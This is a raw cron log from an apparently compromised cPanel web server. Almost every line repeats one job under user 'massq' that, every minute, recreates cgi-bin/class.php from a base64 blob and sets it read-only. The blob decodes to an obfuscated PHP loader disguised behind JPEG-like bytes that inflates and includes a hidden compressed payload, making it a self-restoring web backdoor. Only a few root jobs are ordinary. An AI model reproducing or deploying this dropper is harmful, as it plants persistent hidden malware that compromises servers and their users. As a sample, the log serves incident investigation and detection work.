Nov 10 18:55:01 server CROND[5927]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:56:01 server CROND[6786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:57:01 server CROND[7592]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 18:57:01 server CROND[7594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:58:01 server CROND[8478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 18:59:01 server CROND[9546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:00:01 server CROND[10371]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 19:00:01 server CROND[10376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:00:01 server CROND[10375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:00:01 server CROND[10374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:01:01 server CROND[11306]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:01:01 server CROND[11307]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 19:01:01 server run-parts(/etc/cron.hourly)[11307]: starting 0anacron
Nov 10 19:01:01 server run-parts(/etc/cron.hourly)[11319]: finished 0anacron
Nov 10 19:02:01 server CROND[12155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:03:01 server CROND[12597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:04:01 server CROND[13279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:05:01 server CROND[14196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:05:01 server CROND[14197]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 19:05:01 server CROND[14198]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:05:01 server CROND[14199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:06:01 server CROND[15087]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:07:01 server CROND[15922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
